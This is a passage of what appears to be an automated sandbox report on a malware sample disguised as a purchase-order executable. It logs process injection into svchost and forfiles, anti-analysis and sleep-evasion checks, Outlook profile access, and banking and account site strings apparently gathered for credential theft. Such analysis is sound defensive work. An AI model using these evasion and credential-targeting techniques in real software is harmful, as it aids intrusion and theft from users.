            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: PO#001498.exeStatic file information: File size 1360927 > 1048576
            Source: Binary string: forfiles.pdb source: svchost.exe, 00000002.00000003.2559671367.000000000301B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2559745873.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2559730097.000000000301A000.00000004.00000020.00020000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000007.00000002.4604563942.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: forfiles.pdbGCTL source: svchost.exe, 00000002.00000003.2559671367.000000000301B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2559745873.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2559730097.000000000301A000.00000004.00000020.00020000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000007.00000002.4604563942.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: RVeTDjgqyLeJ.exe, 00000007.00000002.4600041501.000000000043E000.00000002.00000001.01000000.00000005.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000000.2662383342.000000000043E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: PO#001498.exe, 00000000.00000003.2170436115.00000000047A0000.00000004.00001000.00020000.00000000.sdmp, PO#001498.exe, 00000000.00000003.2172303906.0000000004600000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2498523008.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2591331615.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2591331615.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496458745.0000000003200000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4605563404.00000000046B0000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2591133339.000000000434C000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2593625528.00000000044FE000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4605563404.000000000484E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PO#001498.exe, 00000000.00000003.2170436115.00000000047A0000.00000004.00001000.00020000.00000000.sdmp, PO#001498.exe, 00000000.00000003.2172303906.0000000004600000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2498523008.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2591331615.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2591331615.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496458745.0000000003200000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, forfiles.exe, 00000008.00000002.4605563404.00000000046B0000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2591133339.000000000434C000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2593625528.00000000044FE000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4605563404.000000000484E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: forfiles.exe, 00000008.00000002.4607079380.0000000004CDC000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 00000008.00000002.4603411208.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.00000000032FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2938894647.000000001E98C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: forfiles.exe, 00000008.00000002.4607079380.0000000004CDC000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 00000008.00000002.4603411208.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.00000000032FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2938894647.000000001E98C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: PO#001498.exeStatic PE information: real checksum: 0xa2135 should be: 0x14e950
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00496720 push ds; retf 0_2_00496721
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004149D7 push eax; ret 2_2_004149DC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00403180 push eax; ret 2_2_00403182
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00424373 push edi; iretd 2_2_0042437B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041439C push ebp; retf 2_2_004143A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041840F push esi; ret 2_2_00418426
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004245D3 push esp; retf 2_2_004245E8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041164F push eax; iretd 2_2_004116AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004116BC push eax; iretd 2_2_004116AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00411770 push ss; retf 2_2_00411778
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041177E push ss; retf 2_2_00411778
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0360225F pushad ; ret 2_2_036027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036027FA pushad ; ret 2_2_036027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD push ecx; mov dword ptr [esp], ecx2_2_036309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0360283D push eax; iretd 2_2_03602858
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0360135F push eax; iretd 2_2_03601369
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_029252F4 push edi; ret 7_2_029252FE
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02920E0E push eax; iretd 7_2_02920E6E
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02920E7B push eax; iretd 7_2_02920E6E
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_0291D7A4 push 00000048h; retf 7_2_0291D7A6
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02927BCE push esi; ret 7_2_02927BE5
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02920F3D push ss; retf 7_2_02920F37
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02920F2F push ss; retf 7_2_02920F37
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02923B5B push ebp; retf 7_2_02923B65
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_029254A9 push cs; retf 7_2_029254BE
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02924C5C push ebp; ret 7_2_02924CB5
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_0292587F push edi; retf 7_2_02925880
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02924196 push eax; ret 7_2_0292419B
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046E09AD push ecx; mov dword ptr [esp], ecx8_2_046E09B6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0051E200 push es; retf 8_2_0051E202
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Contains functionality to detect sleep reduction / modifications
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004440780_2_00444078
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\PO#001498.exeAPI/Special instruction interceptor: Address: 3FEF24C
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFDB442D324
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFDB442D7E4
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFDB442D944
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFDB442D504
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFDB442D544
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFDB442D1E4
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFDB4430154
            Source: C:\Windows\SysWOW64\forfiles.exeAPI/Special instruction interceptor: Address: 7FFDB442DA44
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E rdtsc 2_2_0367096E
            Source: C:\Windows\SysWOW64\forfiles.exeWindow / User API: threadDelayed 9648Jump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeAPI coverage: 3.2 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.6 %
            Source: C:\Windows\SysWOW64\forfiles.exeAPI coverage: 2.7 %
            Source: C:\Windows\SysWOW64\forfiles.exe TID: 4196Thread sleep count: 324 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exe TID: 4196Thread sleep time: -648000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exe TID: 4196Thread sleep count: 9648 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exe TID: 4196Thread sleep time: -19296000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe TID: 2324Thread sleep time: -75000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe TID: 2324Thread sleep count: 33 > 30Jump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe TID: 2324Thread sleep time: -49500s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe TID: 2324Thread sleep count: 36 > 30Jump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe TID: 2324Thread sleep time: -36000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\forfiles.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0052C600 FindFirstFileW,FindNextFileW,FindClose,8_2_0052C600
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
            Source: 20Y-W08y.8.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
            Source: 20Y-W08y.8.drBinary or memory string: account.microsoft.com/profileVMware20,11696487552u
            Source: 20Y-W08y.8.drBinary or memory string: discord.comVMware20,11696487552f
            Source: 20Y-W08y.8.drBinary or memory string: bankofamerica.comVMware20,11696487552x
            Source: 20Y-W08y.8.drBinary or memory string: www.interactivebrokers.comVMware20,11696487552}
            Source: 20Y-W08y.8.drBinary or memory string: ms.portal.azure.comVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: global block list test formVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: tasks.office.comVMware20,11696487552o
            Source: forfiles.exe, 00000008.00000002.4603411208.0000000002AB5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll
            Source: 20Y-W08y.8.drBinary or memory string: AMC password management pageVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: interactivebrokers.co.inVMware20,11696487552d
            Source: 20Y-W08y.8.drBinary or memory string: interactivebrokers.comVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: dev.azure.comVMware20,11696487552j
            Source: firefox.exe, 0000000A.00000002.2940529626.0000015F1E9AC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllYY
            Source: 20Y-W08y.8.drBinary or memory string: Interactive Brokers - HKVMware20,11696487552]
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605004779.00000000013EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
            Source: 20Y-W08y.8.drBinary or memory string: microsoft.visualstudio.comVMware20,11696487552x
            Source: 20Y-W08y.8.drBinary or memory string: netportal.hdfcbank.comVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: trackpan.utiitsl.comVMware20,11696487552h
            Source: 20Y-W08y.8.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
            Source: 20Y-W08y.8.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
            Source: 20Y-W08y.8.drBinary or memory string: outlook.office365.comVMware20,11696487552t
            Source: 20Y-W08y.8.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
            Source: 20Y-W08y.8.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
            Source: 20Y-W08y.8.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
            Source: 20Y-W08y.8.drBinary or memory string: outlook.office.comVMware20,11696487552s
            Source: 20Y-W08y.8.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696487552
            Source: 20Y-W08y.8.drBinary or memory string: turbotax.intuit.comVMware20,11696487552t
            Source: 20Y-W08y.8.drBinary or memory string: Canara Transaction PasswordVMware20,11696487552x
            Source: 20Y-W08y.8.drBinary or memory string: Canara Transaction PasswordVMware20,11696487552}
            Source: 20Y-W08y.8.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E rdtsc 2_2_0367096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417683 LdrLoadDll,2_2_00417683
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_03FEF518 mov eax, dword ptr fs:[00000030h]0_2_03FEF518
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_03FEF4B8 mov eax, dword ptr fs:[00000030h]0_2_03FEF4B8
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_03FEDE78 mov eax, dword ptr fs:[00000030h]0_2_03FEDE78
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D437C mov eax, dword ptr fs:[00000030h]2_2_036D437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]2_2_036B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov ecx, dword ptr fs:[00000030h]2_2_036B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]2_2_036B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA352 mov eax, dword ptr fs:[00000030h]2_2_036FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D8350 mov ecx, dword ptr fs:[00000030h]2_2_036D8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370634F mov eax, dword ptr fs:[00000030h]2_2_0370634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]2_2_0366A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C310 mov ecx, dword ptr fs:[00000030h]2_2_0362C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650310 mov ecx, dword ptr fs:[00000030h]2_2_03650310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]2_2_036403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]2_2_0364E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036663FF mov eax, dword ptr fs:[00000030h]2_2_036663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC3CD mov eax, dword ptr fs:[00000030h]2_2_036EC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]2_2_0363A3C0
